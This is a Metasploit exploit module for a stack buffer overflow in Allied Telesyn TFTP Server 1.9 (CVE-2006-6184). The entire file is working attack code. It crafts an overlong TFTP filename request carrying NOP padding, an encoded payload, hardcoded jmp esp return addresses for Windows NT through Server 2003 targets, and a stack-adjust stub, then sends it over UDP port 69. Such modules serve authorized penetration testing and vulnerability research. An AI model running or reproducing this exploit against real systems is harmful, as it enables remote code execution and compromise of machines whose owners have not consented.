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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
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          request (get/write) for an overly long file name.
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        },
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        'Author' => [ 'aushack' ],
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        'References' => [
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          ['CVE', '2006-6184'],
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          ['OSVDB', '11350'],
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          ['BID', '21320'],
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          ['EDB', '2887']
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 210,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
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          [ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],
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          [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
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          [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
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          [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
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          [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
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          [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
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          [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
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          [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
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          [ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], # ret by c0re
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          [ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
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          [ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2006-11-27',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(69),
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        Opt::LHOST() # Required for stack offset
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      ]
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    )
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  end
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  def exploit
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    connect_udp
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    sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
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    sploit << payload.encoded
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    sploit << [target['Ret']].pack('V')	# <-- eip = jmp esp. we control it.
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    sploit << "\x83\xc4\x28\xc3"	# <-- esp = add esp 0x28 + retn
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    sploit << "\x00" + "netascii" + "\x00"
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    udp_sock.put(sploit)
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    disconnect_udp
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  end
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end
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